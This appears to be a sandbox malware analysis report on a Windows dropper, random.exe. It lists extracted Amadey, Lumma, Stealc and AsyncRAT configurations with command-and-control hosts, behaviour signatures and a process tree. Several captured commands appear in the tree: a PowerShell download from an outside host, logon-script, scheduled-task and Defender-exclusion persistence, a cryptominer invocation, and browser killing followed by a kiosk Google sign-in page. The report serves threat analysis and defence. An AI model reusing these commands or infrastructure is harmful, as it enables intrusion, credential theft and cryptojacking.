Overview

overview

10

Static

static

3

random.exe

windows7-x64

10

random.exe

windows10-ltsc_2021-x64

10

random.exe

windows11-21h2-x64

10

Resubmissions

16/03/2025, 14:27

250316-rslvgaszdx 10

16/03/2025, 08:13

250316-j4f5cswsfx 10

15/03/2025, 11:26

250315-njwrjawlt6 10

Analysis

  • max time kernel
    220s
  • max time network
    271s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250314-en
  • resource tags

    arch:x64arch:x86image:win11-20250314-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/03/2025, 11:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    random.exe

  • Size

    5.6MB

  • MD5

    f0cad0627e4b852e7ce633df29855373

  • SHA1

    3187e3016d889fdcb5f3c38cc19c1dac27163fe4

  • SHA256

    e7b933849e850c1778c1378c7a5d07df318d86f7b3ee6257885b768fa81f685c

  • SHA512

    c121d9a4d2ced148ac422e193096e7596c8270c662065b9f16efe4ec4ccc1552b44ad92511246fdde7fed55fbb53c178a5da28a84533707a907084c25ad9c615

  • SSDEEP

    98304:6zd9u3jgDjebrGE5pd8PY22ImKYMFCqgupRERune9rmqy3kG/TQ8swX+hh/YG6GR:0dMgebrREbJPYIpKcneY13LTQf6+hVYM

Score
10/10
amadeyasyncrathealerlummastealczloader092155defaulttrumpbotnetcredential_accessdefense_evasiondiscoverydropperexecutionpersistencepyinstallerratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://citydisco.bet/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://4htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://weaponrywo.digital/api

https://zfurrycomp.top/api

https://htardwarehu.icu/api

https://8cjlaspcorne.icu/api

https://adweaponrywo.digital/api

https://begindecafer.world/api

https://9garagedrootz.top/api

https://modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://orangemyther.live/api

https://fostinjec.today/api

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Family

asyncrat

Version

| Controller

Botnet

Default

C2

20.206.204.9:4449

Mutex

ammmjprqjnqswrieh

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Zloader family
    zloader
  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

    trojanbotnetzloader
  • Async RAT payload 1 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 15 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 23 IoCs
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 30 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 54 IoCs
  • Identifies Wine through registry keys 2 TTPs 15 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
    persistence
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 49 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of SetThreadContext
    PID:2292
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5500
  • C:\Users\Admin\AppData\Local\Temp\random.exe
    "C:\Users\Admin\AppData\Local\Temp\random.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5632
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\u0k28.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\u0k28.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1u87m9.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1u87m9.exe
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3036
        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
          "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Downloads MZ/PE file
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:5864
          • C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe
            "C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:728
            • C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe
              "C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe"
              6⤵
              • Executes dropped EXE
              PID:4056
            • C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe
              "C:\Users\Admin\AppData\Local\Temp\10003000101\6a87bff52d.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5696
          • C:\Users\Admin\AppData\Local\Temp\10062780101\JqGBbm7.exe
            "C:\Users\Admin\AppData\Local\Temp\10062780101\JqGBbm7.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:644
          • C:\Users\Admin\AppData\Local\Temp\10075800101\zY9sqWs.exe
            "C:\Users\Admin\AppData\Local\Temp\10075800101\zY9sqWs.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:2056
            • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
              "C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:972
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\10000910261\Bthvgkck.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\10000910261\Bthvgkck\'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4960
              • C:\Users\Admin\AppData\Local\Temp\10000910261\Bthvgkck\Bthvgkck.exe
                "C:\Users\Admin\AppData\Local\Temp\10000910261\Bthvgkck\Bthvgkck.exe"
                7⤵
                • Executes dropped EXE
                • Enumerates connected drives
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2276
          • C:\Users\Admin\AppData\Local\Temp\10079230101\v6Oqdnc.exe
            "C:\Users\Admin\AppData\Local\Temp\10079230101\v6Oqdnc.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4264
          • C:\Users\Admin\AppData\Local\Temp\10111840101\HmngBpR.exe
            "C:\Users\Admin\AppData\Local\Temp\10111840101\HmngBpR.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:1228
            • C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
              C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:5772
              • C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:3116
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\SysWOW64\cmd.exe
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: MapViewOfSection
                  PID:5880
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    9⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: AddClipboardFormatListener
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of SetWindowsHookEx
                    PID:2228
          • C:\Users\Admin\AppData\Local\Temp\10112790101\ADFoyxP.exe
            "C:\Users\Admin\AppData\Local\Temp\10112790101\ADFoyxP.exe"
            5⤵
            • Executes dropped EXE
            PID:2204
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "Invoke-WebRequest -Uri 'https://safetyingold.com/share/4822aa372544ea4642142339b22d22421d08bdb543cd2de334b3fd0e5fc07565.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe' -Headers @{'User-Agent'='build2'}"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of AdjustPrivilegeToken
              PID:4864
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "Set-ItemProperty -Path 'HKCU:\Environment' -Name 'UserinitMprLogonScript' -Value 'C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe'"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Registers new Windows logon scripts automatically executed at logon.
              • Suspicious use of AdjustPrivilegeToken
              PID:6080
            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4604
              • C:\Windows\Temp\{CD170E26-81F6-47CE-B8CB-7E4FE6726464}\.cr\rsfff01fff.exe
                "C:\Windows\Temp\{CD170E26-81F6-47CE-B8CB-7E4FE6726464}\.cr\rsfff01fff.exe" -burn.clean.room="C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe" -burn.filehandle.attached=740 -burn.filehandle.self=620
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:5016
                • C:\Windows\Temp\{334447E6-A8BF-430A-9B0B-F6A45449D36F}\.ba\irestore.exe
                  C:\Windows\Temp\{334447E6-A8BF-430A-9B0B-F6A45449D36F}\.ba\irestore.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2912
                  • C:\Users\Admin\AppData\Roaming\DownloadscanRs\irestore.exe
                    C:\Users\Admin\AppData\Roaming\DownloadscanRs\irestore.exe
                    9⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: MapViewOfSection
                    PID:3660
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\SysWOW64\cmd.exe
                      10⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: MapViewOfSection
                      PID:2412
                      • C:\Users\Admin\AppData\Local\Temp\monUninstall.exe
                        C:\Users\Admin\AppData\Local\Temp\monUninstall.exe
                        11⤵
                        • Loads dropped DLL
                        PID:2320
          • C:\Users\Admin\AppData\Local\Temp\10121660101\amnew.exe
            "C:\Users\Admin\AppData\Local\Temp\10121660101\amnew.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:1616
            • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
              "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4188
          • C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe
            "C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1436
          • C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe
            "C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            PID:3344
          • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
            "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:4488
            • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
              "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2216
          • C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe
            "C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:3752
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5488
              • C:\Users\Admin\AppData\Roaming\0lXGBz7ZMe.exe
                "C:\Users\Admin\AppData\Roaming\0lXGBz7ZMe.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:3420
          • C:\Users\Admin\AppData\Local\Temp\10215600101\packed.exe
            "C:\Users\Admin\AppData\Local\Temp\10215600101\packed.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Enumerates system info in registry
            PID:1228
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFIAdQBuAHQAaQBtAGUAQQBwAHAAJwA=
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:1828
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks.exe /create /tn "SystemHelperTask" /tr "C:\Users\Admin\AppData\Local\Temp\10215600101\packed.exe" /sc onlogon /rl HIGHEST /f
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4276
            • C:\Program Files\RuntimeApp\0000009311.exe
              "C:\Program Files\RuntimeApp\0000009311.exe"
              6⤵
              • Executes dropped EXE
              • Modifies system certificate store
              PID:3712
          • C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe
            "C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe"
            5⤵
            • Executes dropped EXE
            PID:4156
            • C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe
              "C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:2204
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmpvqgm69wl.bat"
                7⤵
                  PID:4168
                  • C:\Windows\system32\timeout.exe
                    timeout /t 2 /nobreak
                    8⤵
                    • Delays execution with timeout.exe
                    PID:6036
            • C:\Users\Admin\AppData\Local\Temp\10217320101\Esu6YYl.exe
              "C:\Users\Admin\AppData\Local\Temp\10217320101\Esu6YYl.exe"
              5⤵
              • Executes dropped EXE
              PID:3740
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -inputformat none -outputformat none -NonInteractive -Command Add -MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Updater"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4760
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /Create /SC ONLOGON /RL HIGHEST /TN "Updater" /TR "C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe" /F
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2352
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /C ping 127.0.0.1 -n 3 > nul && start "" "C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe"
                6⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:4700
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 3
                  7⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:2924
                • C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe
                  "C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:6044
                  • C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe
                    C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe curl.dll
                    8⤵
                    • Executes dropped EXE
                    PID:5812
                  • C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe
                    C:\Users\Admin\AppData\Roaming\Updater\Esu6YYl.exe --url pool.hashvault.pro:443 --user 4AzoDsqqcueLbpDUZn5LUYA6JeJ61CWW51bdL9UsCNLKc4wq8BZxBuTPZPQDcMfxZPRRu643zHB5fXjgc9sGwELjQt7Tkxs --pass x --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                    8⤵
                    • Executes dropped EXE
                    PID:2788
            • C:\Users\Admin\AppData\Local\Temp\10219920101\O9s3coZ.exe
              "C:\Users\Admin\AppData\Local\Temp\10219920101\O9s3coZ.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:1632
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:5496
            • C:\Users\Admin\AppData\Local\Temp\10222660101\j21Hq7C.exe
              "C:\Users\Admin\AppData\Local\Temp\10222660101\j21Hq7C.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:2272
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4296
            • C:\Users\Admin\AppData\Local\Temp\10222710101\16766a2b5a.exe
              "C:\Users\Admin\AppData\Local\Temp\10222710101\16766a2b5a.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              PID:400
              • C:\Users\Admin\AppData\Local\Temp\AIW22DK7V2V26SDHK.exe
                "C:\Users\Admin\AppData\Local\Temp\AIW22DK7V2V26SDHK.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                PID:5344
            • C:\Users\Admin\AppData\Local\Temp\10222720101\050f54fbf8.exe
              "C:\Users\Admin\AppData\Local\Temp\10222720101\050f54fbf8.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              PID:1376
            • C:\Users\Admin\AppData\Local\Temp\10222730101\7a8f5e9b32.exe
              "C:\Users\Admin\AppData\Local\Temp\10222730101\7a8f5e9b32.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4468
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:5056
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:3732
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:5824
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:2336
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                PID:2996
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                6⤵
                  PID:5796
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    7⤵
                    • Checks processor information in registry
                    • Suspicious use of SetWindowsHookEx
                    PID:4344
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 27097 -prefMapHandle 1960 -prefMapSize 270279 -ipcHandle 2040 -initialChannelId {844961f7-3285-45b7-9ded-1d9c73396460} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                      8⤵
                        PID:3992
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2468 -prefsLen 27133 -prefMapHandle 2472 -prefMapSize 270279 -ipcHandle 2480 -initialChannelId {96e64696-4d78-4b13-a45c-cbe0e244040a} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                        8⤵
                          PID:5496
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3776 -prefsLen 25164 -prefMapHandle 3780 -prefMapSize 270279 -jsInitHandle 3784 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3792 -initialChannelId {6c0bc7ad-7108-413e-a282-38c4e823eb73} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                          8⤵
                            PID:1864
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4008 -prefsLen 27274 -prefMapHandle 4012 -prefMapSize 270279 -ipcHandle 4028 -initialChannelId {2cd88d4a-a833-4f54-8826-3a6adcb10027} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                            8⤵
